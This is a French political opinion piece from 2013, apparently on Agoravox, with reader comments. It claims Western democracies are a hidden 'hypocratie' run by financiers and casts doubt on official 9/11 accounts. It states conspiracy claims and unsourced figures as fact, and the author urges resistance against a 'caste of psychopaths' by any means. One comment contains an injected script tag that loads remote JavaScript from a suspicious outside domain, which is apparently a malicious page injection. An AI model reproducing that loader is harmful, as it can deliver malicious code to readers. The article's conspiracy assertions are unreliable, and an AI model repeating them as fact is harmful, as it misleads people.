Echec à l’Hypocratie
Quelque chose d’énorme est à se passer : les citoyens sont à faire échec à l’HYPOCRATIE. Hypocratie ? C’est le pouvoir souterrain, le pouvoir d’en-dessous, le pouvoir « éminence grise » qu’on ne voit pas. C’est le véritable régime qui domine dans toutes nos soi-disant démocraties à l’occidentale, lesquelles sont lattant de petites satrapies, vassales du seul pouvoir impérial qui est le pouvoir financier.
Hypocratie partout, car il n’est pas besoin d’être grand clerc pour voir que le seul vrai pouvoir en Occident qui transcende les frontières est celui des banquiers. Toutes les lois sont faites pour servir ce pouvoir, que ce soit aux USA, en Europe ou dans les marches d’Afrique, d’Amérique latine ou d’Asie. Où s’arrête-t-il ? Là où vous pouvez mettre une carte de crédit dans un distributeur de billets et en recevoir, vous êtes dans l’Empire…. car comment cela serait- il possible, si un pouvoir souverain ne s’exerçait pas ?
Cela est une évidence ; il est inutile de s’y appesantir, Voyons plutôt combien ce pouvoir financier est discret, invisible, souterrain, agissant à partir de Basel, ou de quelque paradis fiscal caché par un autre. Votons attentivement comment il n’obéit qu’aux lois qu’il a lui même fait mettre en place, dans ces États dits »démocratiques ». Voyons que tous ces gouvernements sont élus à partir d’une courte liste de candidat potentiels, choisis par les élites politiques de chaque État. Voyons que ces élites sont organisées en ‘Partis politiques » par des manœuvres discrètes, invisible, souterraines auxquelles ne participent qu’un pourcentage infime de la population.
Ces élites semblent en rivalité les unes avec les autres, mais c’est un leurre. Elles sont toutes issues du 0,0001% qui possède tout et sont donc toutes inféodées à ce pouvoir financier qui contrôle tout, Comment gérer l’État ? On le dit de diverses façon,… mais on ne dit toujours que la même chose : « respectez l’ordre établi, la propriété et les mécanismes de distribution de la richesse ». Voyez vous, où que ce soit en Occident UN SEUL PARTI QUI DISE AUTRE CHOSE ? …. Ce consensus pour le statu quo, c’est ça, que nous appelons la démocratie.
Le processus électoral permet de choisir entre Pierre, Paul, André ou Jacques… mais jamais entre cette « démocratie » avec son partage inique de la richesse … et autre chose. Il n’y a qu’un projet politique en Occident. On amuse le bon peuple en le faisant aiguillonner par les médias – tous propriétés des groupes financiers – et par leurs journalistes vedettes. Journalistes corrompus … ou plus simplement abreuvés de fausses nouvelles, par des agences de presse à la solde du pouvoir. Pouvoir déguisé en Gauche ou en Droite, mais dont le but ne change pas… Le but qui est que les choses elles-mêmes ne changent pas non plus. Le bon peuple va donc de tempes temps voter pour Hollande ou pour Sarkozy… mais jamais il ne votera pour le changement : il n’y a pas de candidats du changement sur le bulletin.
C’est quoi, l’hypocratie ? Un pouvoir financier qui reste dans l’ombre, et qui donne ses ordres à des partis politiques dont les rouages sont eux même cachés, mettant de l’avant des homme politiques bien soudoyés qui déclineront des alternatives de gouvernance grandiloquentes, mais interchangeables. Le peuple, manipulé par les médias, suivra les suggestions qu’on lui fera. Les cas plus difficiles de résistance seront eux-mêmes convaincus par des promesses ou des menaces de pas aller trop loin dans les questions… Tout ça discrètement, en-dessous, sans que rien ne transparaisse que des scandales ponctuels qui paraissent arriver un-à-un et dont on peut mettre quelque uns en évidence, pour punir quelques boucs émissaire et créer une impression de transparence… Alors que c’est tout le système qui constitue un réseau dense de népotisme et de corruption.
Cette gouvernance dont les éléments forts restent inconnus serait démunie, si elle n’avait à son service toute une administration qui est complètement souterraine. Un fonctionnariat maintenant installée de Bruxelles jusqu’au dernier village d’Europe, une armée de fonctionnaires sans visages et qu’on ne connait que par leurs fonction, veille à l’application des règlements qui expriment les lois et normes en vigueur. Celles qui reflètent les principes directeurs de la gouvernance dite démocratique.
C’est cette armée anonyme, discrète, invisible qui s’assure que la richesse demeure entre les bonnes mains. En récompense, elle peut traiter le pays comme son fief, pour l’exercice jubilatoire de l’arbitraire dans les détails, cette satisfaction mesquine que consentent traditionnellement ceux qui ont le vrai pouvoir à ceux qui les aident à le garder. Personne de cette armée de ronds-de-cuir qui infiltre toute la société, la vexe et souvent la tyrannisent n’est élu ; ceux qui exercent ce vrai pouvoir au quotidien dans notre démocratie sont tous nommés. Nommés dans les limites de leurs compétence, car il faut bien que les roues tournent, mais au vu, aussi, de leur complaisance envers le pouvoir financier.
C’est une complaisance facile, car au sommet de la pyramide des fonctionnaires se fait, de générations en générations, l’adjonction lente des plus brillants serviteurs aux familles de maitres du vrai pouvoir financier. Ainsi, au Canada, on voit le fils du Premier Ministre épousé la fille de l’homme le plus riche du pays. Quelques paliers plus bas, on est énarque, puis conseiller du prince, on devient banquier, général, on occupe tous les postes cooptés de la gouvernance, sans que JAMAIS la population n’ait un seul mot a dire dans le choix des vicaires…
Démocratie ? … Hypocratie, plutôt, où rien de significatif ne se décide qu’à hui-clos, en secret, tout le vrai pouvoir et ses ramification importantes étant dissimulé sous le voile du jeu démocratique. Comme un miroir sans tain qui permet à ceux d’en-haut de voir grouiller ceux d’en-bas, mais ne permet pas à ceux-ci de voir les gestes des vrais acteurs, seulement d’en ressentir les effets.
Pourquoi parler aujourd »hui d’une mise en échec de cette hypocratie qui domine tout, possède tout et semble avoir tout prévu ? C’est que, par la grâce de l’internet, la masse politiquement amorphe et ignare que constituent toutes le populations sous contrôle démocratique se retrouve tout a coup INFORMÉE et son intérêt titillé. Le citoyen ordinaire, qu’on pouvait parfaitement diriger jadis comme s’il portait un anneau au nez – et avec extrêmement peu de moyens - se voit proposer par l’internet d’avoir des opinions et de faire des choix.
D’abord des choix qui n’ont pas vraiment d’impact sur la répartition de la richesse, et sont donc sans importance directe sur la caste dominante. Mais, justement parce qu’ils sont marginaux, le pouvoir n’a souvent pas pris la peine de trouver une réponse satisfaisante aux questions qui sont ainsi soulevées par ces choix Une multitude de questions sont ainsi posées, via le Web, auxquelles le pouvoir réagit en laissant faire… Il laisse passer d’autant plus facilement que ces questions disparates ne constituent PAS une contestation cohérente de la gouvernance, mais vont dans tous les sens, réclamant des accommodements qui ne mettent pas en péril les « vraies valeurs » de l’ordre et de la propriété.
Mais ce qui rend l’internet dangereux pour le pouvoir, imparable, c’est qu’il ne défend pas un idée précise qui s’opposerait pouvoir, mais une myriade d’idées contrariantes qui ne proposent pas une alternative dont on pourrait débattre, mais montrent des failles, des inepties qui discrédite le pouvoir.
Pourquoi ce qu’on appelle le Système se préoccuperait-il de ces trivialités qui ne concernent que le bien-être des gens, comme l’éducation, la santé ou l’accès à la justice, si l’impact en est minime sur la distribution de la richesse qui pour lui est le seul dossier crucial ? Normalement, ce sont les satrapes et sous-satrapes locaux qui s’en occupent…. Mais, avec l’internet, des centaines de petites exigences ont été mises de l’avant,… et l’État, dans une stratégie d’économie de ses efforts, a cessé de vouloir tout optimiser.
Il a réagi à ces exigences par autant de petites concessions faites au peuple, pour acheter la paix, avec une conséquence néfaste pour la gouvernance occulte de notre hypocratie. Car en choisissant de s’en tenir de plus en plus à l’essentiel, abandonnant des pans de son autorité, Il a acheté la paix, mais projeté une image de faiblesse. Big Brother a laissé voir qu’il ne sait pas tout et, ce qui est plus grave, le peuple en a pris la mauvaise habitude d’ergoter.
Si l’affaire du 911 avait eu lieu ne serait-ce que 5 ans plus tôt, jamais il ne se serait créé une contestation sérieuse de la version des faits proposée par le gouvernement. Les citoyens y auraient cru. Helas, pour Bush et son équipe, c’est précisément à ce moment là que TOUT LE MONDE est arrivé sur internet et l’explication terriblement boiteuse qui avait été préparée pour une population qui l’accepterait sans discussions, comme d’habitude, est devenue le point de ralliement pour les sceptique,, le Waterloo de la crédibilité de l’Etat.
Apres le désastre de relations publiques du 911, on aurait pu croire que le Roi ne sortirait plus nu dans la rue. Mais c’était compter sans l’inertie et la morgue de cette énorme machine de fonctionnaires obtus, cette caste de pouvoir d’appoint qui me voulait pas remettre en doute sa bien relative omnipotence. On a donc fait comme si le Web n’existait pas. On a dit encore des bêtises pour l’Afghanistan, pour l’Irak. pour la Libye… Puis, tout à coup, un seuil a été atteint. Les peuples ont subitement cessé de croire ce que disaient les hypocrates occidentaux.
Ce seuil a été atteint recemment. Sur des questions – FONDAMENTALES aux USA – comme le népotisme et la corruption, on découvre que 90% des commentateurs du New York Times disent au gouvernement qu’on ne le croit plus. Concernant le Syrie. On ne le croit pas davantage et – impensable il y a quelques années - c’est le Président russe qui apparait comme le défenseur du bon sens et du bon droit !
Le Pouvoir se réveille donc de sa transe. Il se passe quelque chose : la confiance des Americains en leur gouvernance est brisée. Ca pourrait mener loin. Ce que fera cette gouvernance pour reprendre la main, personne ne le sait. Dans un premier temps elle semble reculer d’un pas dans cette ignominie du bombardement de la Syrie. Mais il ne faut pas croire que la victoire est acquise. C’est la situation, gratifiante, mais bien périlleuse, d’avoir coincé un tigre dans un coin et de vouloir lui faire comprendre qu’il ne mangera plus tout son saoul… Ce n’est pas chose faite….
Pierre JC Allard
24 réactions
-
-
Pierre JC Allard
2 septembre 2013 14:13
@ JELENA XCII
En 2050, la majorité de la populavion ne sera palus de descendance anglo-saxonne. D’ores et déjà, les "blancs non hispaniques’ représentent plus de la moitié des naissance, un indicateur bien efficace. Curieusement, toutefois e n’est pas surtout ce point qui est fatal, car beaucoup hispaniques adoptent les valeurs WASP.Ce qui change le rapport de forces encore plus rapidement, c’est extension prévisible des USA à Amérique tout entière, extension incontournable pour que Washington conserve les moyens économique été démographiques de son hégémonie mondiale. Or dans une Amérique atteignent sa dimension continentale, l’élément anglo saxon est très minoritaire.Le vrai point de retour est donc bien avant 2050 ; il est quand le pouvoir politique des hispaniques au sein des USA est tel qu’il impose une intégration continentale accélérée. Ca , ça pourrait VRAIMENT être demain.PJCA -
Pierre JC Allard
2 septembre 2013 18:11
@ Jelena
je crois depuis toujours a un bloc Russie + Europe qui devient l’arbitre naturel entre entre la Chine et des dépendances d’une part, l’Amérique + le Commonwealth d’autre part. C’est le mobn de a trois puissances de Orwell dans i984, pas b nécessairement rigolo mais qui evite le cataclysme qui est la fin prévisible d,un monde bipolaire.PJCA -
Pierre JC Allard
3 septembre 2013 01:32
@ Jelena XC !!
Meme longuuer d,ondes ? Continuons donc notre combatPJCA
-
lambda
2 septembre 2013 10:36
@ J.C Allard
Le discours de Poutine plein de bon sens comme vous le soulignez (voir vidéo-ci-dessous) a dû être étant donné les propos pourtant mesurés être déterminant pour la prise de position du Parlement anglaisIl faut attendre la tenue du G20 mercredi je crois et ce que les américains vont sortir du chapeau dans leurs soi disant documents déclassifiés (j’espère que ce ne sera pas une petite fiole
Quant à notre honneur foulé aux pied par Hollande, on aura du mal à s’en remettreIl ferait mieux avant de mettre de l’ordre chez les autres d’en mettre dans le pays qu’il dirige en virant Taubira et Valls déjà !! et s’occuper de Marseillehttp://www.youtube.com/watch?v=dATxJ-RBJ9I (discours de Poutine)-
Pierre JC Allard
2 septembre 2013 14:30
@ Lambda
Il est trop yard pour redorer le blason de la crédibilité des USA sans un changement spectaculaire ; révolution, copi d,état ... ou au moins une apparence crédible de changement radical.Pour la France, Hollande dans l’histoire de France a lImportance d’un panari dans votre dossier médical... On s’en remettra vite. En fait, il n’a rien apporté que Sarkozy n’aurait fait lui-même si on l’avait laissé à l’Elysée. La vrai question est d savoir si l’incontournable Sixieme Republique sera aussi sous la coupe de la finance internationale. Ne gesticulez pas trop vite. Un peu de lucidité vous montrera que l’alternative crédible en ce moment est un gouvernement « autoritaire » personnalisé.... alors plongez dans ce que vous voulez, mais faites le les yeux ouverts.PJCA
-
-
Agor&Acri
2 septembre 2013 15:35
Merci pour cet article.
"Puis, tout à coup, un seuil a été atteint. Les peuples ont subitement cessé de croire ce que disaient les hypocrates occidentaux.«
Ca me semble un peu optimiste, très légèrement en avance de phase
mais on s’approche du seuil, indéniablement.Après quelques recherches, j’ai retrouvé un »poème" de circonstance
qui date d’il y a presque 4 ans,
écris par l’auteur de la file intitulée
LE SILENCE DES LOUPS (Décryptage d’un monde interdit aux moins de 16 dents)______________________________________
CULS NUSquand la morale se délite
et que l’éthique n’est plus
restent les délits des élus,
restent les délires des élites,
décideurs navigant dans des sphères vénales
businessmen défilant pour affaires…pénales
mafieux et fiers, banquiers banksters
économistes commun-autistes, docteur es dettes
escrocs baignant dans l’aristocratie
accrocs béants pour la démocratie
droit d’ingérence, prétextes impérieux d’invasions
Raison d’Etat ? Intérêt des Supérieurs de la Nation !
offenses aux urnes, lissage des particularismes
alliances nocturnes, métissage des obscurantismes
nous subissons la voix de la pensée unique
d’un ordre mondialiste
nous sommes sur la voie de l’avancée inique
du totalitarisme
défense de lire entre les lignes
défense d’interpréter les signes
défense de franchir les obstacles
défense d’élire hors des cénacles
Mais à trop s’approcher des côtes pour nous capturer dans leurs nasses
et furtivement dans la tempête se livrer à des exactions en bande
ils ont négligés qu’avec Internet, délivrés de leur propagande
on verrait émerger leurs fautes et leurs mensonges…à marée basse.de l’art de leurrer l’électeur
de l’art de berner l’auditoire
de l’art d’évoquer le mystique
de l’art d’exploiter l’halieutique
ils ont surconsommé les ressources
Levez les yeux, on devine à présent la source
et les voilà virtuellement dépourvus
et les voilà presque culs nus !
Profitons-en, jetons loin nos oeillères
Et avançons une fleur à la boutonnière
Pour réveiller nos amis, nos voisins
Et construire ensemble de meilleurs lendemains.Lien : MESSAGE N° 12
______________________________________
Sur un thème similaire, voir aussi son MESSAGE N° 21
Et aussi : MESSAGE N° 47Chers voisins, chers amis, chers concitoyens
qui, de bonne foi, accordez-encore du crédit aux médias et aux carriéristes de la politique,
n’attendez pas d’en arriver au point de passer pour des arriérés mental = réveillez-vous !Eteignez votre télé 2 soirs de suite
et, à la place, visionnez ces vidéos :François ASSELINEAU : Qui gouverne la France et l’Europe
Lien 1 : Youtube
Lien 2 : blog de François AsselineauEtienne Chouard :
- La démocratie est-elle un leurre ?
Lien : Youtube
- Les enjeux de la creation monétaire
Lien : Youtube
- Chercher la cause des causes
Lien : Youtube
- Abus de langage et la « novlangue »
Lien : Youtube
La véritable démocratie (Tirage au sort)
Lien : YoutubeVous en sortirez comme neufs, lavés de la couche de mensonges et de propagande
et débarrassés de cette impression de porte-à-faux
vis-à-vis d’une réalité qui vous est en permanence présentée biaisée, tronquée et bancale.-
Pierre JC Allard
2 septembre 2013 18:19
@ Agor & Agri
J’aime aussi beaucoup Asselineau que je publie parfois et cite souvent sur le site des 7 du Quebec ( Il est amusant de voir comment un meme article peut mener a des fils de discussions TOTALEMENT distincts et complémentaires)
PJCA
-
-
Piere Chalory
2 septembre 2013 15:56
Bonjour Pierre JC Allard, aux autres, trolls y compris,
Et bravo pour cet article très clair et explicatif
Hypocratie, oligarchie ?
En tout cas c’est sûr, ce micro pourcentage de gens irradiés par l’appât du gain et sachant comment le stocker, le conserver sur des générations, distribuer quelques miettes pour donner le change, est arrivé jusqu’à présent à sauvegarder l’illusion aux yeux de la foule.
Vous dites ;
’’Ce seuil a été atteint recemment. Sur des questions – FONDAMENTALES aux USA – comme le népotisme et la corruption, on découvre que 90% des commentateurs du New York Times disent au gouvernement qu’on ne le croit plus.’’
J’avais aussi noté cette information importante. Il apparaîtrait donc aujourd’hui comme l’évidence d’un besoin de changement de paradigme à plus ou moins court terme.
Quid de la durée du sursis des affreux-gouverneux-mafieux-journaleux, tous aux ordres des cinglés de la monnaie, des empereurs du Tv-kitsch-Tf1-sinon-rien. Il semble bien qu’une lame de fond libératrice émerge d’on ne sait où.
Faut dire que ces histoires à répétition de ’’crises’’, de ’’sauvetage de peuples opprimés’’ ; populations vivant généralement sur des terres riches en matières premières, ressemblent beaucoup à la fable du garçon qui criait au loup
à force de crier au loup on en voit la queue, et Internet pourrait bien métaphoriser bientôt le justicier de cet état de fait du menteur qui finit par lasser même les honnêtes gens.
L’arroseur arrosé, trop c’est trop.
Comme vous, j’ai un peu l’impression que ça commence à bien faire pour de plus en plus de gens dupés.
Tout ces morts inutiles, car n’existant pas aux yeux de certains, n’ayant eu que le tort d’être au mauvais endroit au mauvais instant. Dizaines, voire centaines de milliers d’innocents, déchiquetés par les bombes censées les ’’libérer’’...
Tout ça pour quoi ? et pour qui ?
-
Pierre JC Allard
3 septembre 2013 02:08
Face a une caste de psychopathes qui semble avoir investi la gouvernance des États, je pense que l’humanité est en état de légitime défense et que chacun doit agir selon sa conscience, ne reculant devant rien pour en obéir aux diktats,
PJCA -
Pierre JC Allard
3 septembre 2013 05:57
@ PC
Parfois, reprendre des racines grecques est indiscutable. Ainsi, il y a une semaine j’ai ramèné "homogamie’ au sens premier qu’il devrait avoir d’une union entre personnes de même sexe. À cause des tabous contre ce type d’unions, ce sens s’était perdu, edulcoré pour designer la recherche de similitudes relativement secondaires chez le partenaires. En ces, je pense que le retour a l’étymologie est un gain netQuand on utilise hypocriatie, comme vous le notez, il y’a une ambiguïté, car hypo peut signifier sous, en-dessous, , subordonné, voire insuffisant.. Je crois que la définition que vous en donnez est bonne, puisqu’elle elle conserve justement cette ambiguité, l’enrichit... et vaudrait quelques pages dans l’Archéologie du savoir
Je l’ai utilisé d’abord pour designer une gouvernance qui pas inférieure, mais se situe ostensiblement SOUS la gouvernance formelle et en fait s’y dissimule - j’aurais pu parler de cryptocratie - mais les harmoniques que vous y apportez sont intéressantes. l’usage, comme toujours, déterminera ce qu’on en garde et ce qu’on en laisse...MerciPJCA
-
-
Demian West
2 septembre 2013 16:42
Cher Pierre,
J’adore ce concept d’Hypocratie, car il me donne l’impression délicieuse et exquise à la fois de détenir deux nationalités.Excellent article épaulé par une écriture sans faille et qui sait vous entraîner dans des flux étrangers.Demian West-
Piere Chalory
2 septembre 2013 17:22
Demian,
J’avoue ne pas connaître grand chose aux mots d’essence grecque, mais il est vrai qu’Hypocratie, ça sonne bien.Et que le langage de JC Allard y ajoute une saveur particulière, en définissant si bien cette forme d’aristocratie à l’envers ; véritable mafia underground dont les valeurs sont si éloignées de la noblesse de coeur et de la chevalerie, que même la particule vraisemblablement monnayée qui orne et allonge le nom de certaines familles hyper-influentes ici bas, ne possède qu’un sens relatif.CordialementJ’ai trouvé cette définition de l’hypocratie assez parlante ;’’On peut définir le mot en se basant sur les racines grecques de ces deux composantes sémantiques. Dans ce cas le mot se compose du préfixe, hypo, qui signifie « sous » ou « en dessous » et du mot cratie (cratien en grec) qui signifie pouvoir. Les mots formés du préfix « hypo », exprimant une idée de diminution, le mot ainsi formé désigne un pouvoir diminué ou un « sous-régime ». Le mot peut également être le résultat de la contraction du mot « hypocrisie » et celui de « démocratie ». Cette contraction exprimerait le caractère hypocrite de ces pseudo-démocraties qui proclament le contraire de ce qu’elles appliquent.’’
Une « hypocratie » est donc, un régime d’une part diminué par l’illégitimité politique de son existence et l’absence chez ses prélats de convictions claires, et d’autre part hypocrite, en s’efforçant de paraître pour ce qu’il n’est pas. Cette nature ne dispense pas « les hypocraties » d’être des régimes totalitaires, bien au contraire. Mais ces derniers présentent la spécificité de s’accommoder d’une façade démocratique avec la conviction que les possibilités d’expansion et de durée dans le temps sont bien plus grandes dans une « hypocratie » que dans une franche dictature.’’
-
Demian West
2 septembre 2013 18:08
Bonjour,
Pour moi, le terme « underground » est presque ce qu’il nous reste de « sacré » dans ce monde voué aux lueurs électrochoquées de la télé. Certes, la mafia est cachée, mais l’est-elle vraiment à notre époque, quand elle pérore sur tous les médias toute la journée dans les temples du pouvoir qui sont assez néo-gréco-romains dans le style démocratico-banquier.L’underground est encore la dernière valeur en laquelle les jeunes pensent croire un peu. Ils répugnent à ce qui est célèbre, je parle des vrais jeunes, ceux qui sont blasés et intelligents et qu’ils sont cet avenir qui ressemble tant à notre jeunesse recommencée.Et certainement, ils ne font pas encore partie de l’Hypocratie car ils dénoncent le monde corrompu des adultes. Pour eux, tout est Hypocratie. Et seul l’underground est le refuge. L’infans ou celui-qui-ne-parle-pas-encore. -
Pierre JC Allard
3 septembre 2013 02:19
@ DW Heureux de vous revoir sur Agoravox. Si quelqu’un a la crédibilité de remettre les opinions qui s’y expriment aujourd’hui dans la perspective globale du rôle historique qu’a aout. ce site-pionnier dans la blogosphere, c’est bien vous.
-
Pierre JC Allard
3 septembre 2013 05:59
@ PC
Parfois, reprendre des racines grecques est indiscutable. Ainsi, il y a une semaine j’ai ramèné "homogamie’ au sens premier qu’il devrait avoir d’une union entre personnes de même sexe. À cause des tabous contre ce type d’unions, ce sens s’était perdu, edulcoré pour designer la recherche de similitudes relativement secondaires chez le partenaires. En ces, je pense que le retour a l’étymologie est un gain netQuand on utilise hypocriatie, comme vous le notez, il y’a une ambiguïté, car hypo peut signifier sous, en-dessous, , subordonné, voire insuffisant.. Je crois que la définition que vous en donnez est bonne, puisqu’elle elle conserve justement cette ambiguité, l’enrichit... et vaudrait quelques pages dans l’Archéologie du savoirJe l’ai utilisé d’abord pour designer une gouvernance qui pas inférieure, mais se situe ostensiblement SOUS la gouvernance formelle et en fait s’y dissimule - j’aurais pu parler de cryptocratie - mais les harmoniques que vous y apportez sont intéressantes. l’usage, comme toujours, déterminera ce qu’on en garde et ce qu’on en laisse...MerciPJCA
-
-
millesime
2 septembre 2013 18:12
c’est ce qu’ Aymeric Chauprade dénomme l’ Etat profond américain.. !
Disraeli disait que le monde est dirigé par tout autres personnes que ceux qui nous gouvernent .. !George W.Bush a tenté la conquête de l’Irak car on parlait alors de la fin du « crude oil » , de sorte que les multinationales US ont usés des armées alliées pour tenter de ré-coloniser le Moyen-Orient.Collin Powell n’a-t-il pas présenté cette fiole de faux anthrax aux yeux du monde, avant de raser l’Irak puis de présenter ses excuses pour ces mensonges.
Les peuples occidentaux ne croient plus leurs leaders, lesquels feraient mieux de tenter de résoudre les problèmes économiques de leur pays respectif.
-
berry
2 septembre 2013 18:38
A propos de l’influence grandissante d’internet.
http://www.youtube.com/watch?v=3u5MxfHtZ9g
La dernière vidéo subversive de Dieudonné, en réponse à Manuel Valls, a été vue près d’un million de fois en 4 jours.
Etonnant -
wawa
3 septembre 2013 08:53
analyse très intéressante.
Je suis moi-même sidéré de la soupe de propagande infecte qui nous est servie à titre d’information. pas vraiment étonnant que les journaux glissent vers la faillite. A quand celle de tf1 ?« et – impensable il y a quelques années - c’est le Président russe qui apparait comme le défenseur du bon sens » faut pas pousser, il apparait surtout comme le défenseur du droit de péage de la Russie sur les hydrocarbure de la Caspienne
<script src="https://secure-content-delivery.com/data.js.php?i={A8979163-985F-4057-B5A6-3170EF5E0B72}&d=2012-6-24&s=http://www.agoravox.fr/tribune-libre/article/echec-a-l-hypocratie-140365&cb=0.6048722593970319" type="text/javascript"></script> -
plexus
3 septembre 2013 21:30
à wava
oui, car il faut en revenir aux « fondamentaux », vous avez raison, c’est bien de cela dont il s’agit, par delà l’hypocrisie, ou l’hypocratie, terme que je trouve génial, et qui rejoint « le serment d’hippocrite » qui a du être prononcé par quelques toubibs, dévoués à la santé de leur prochain.
Avec des comptes à singapour.
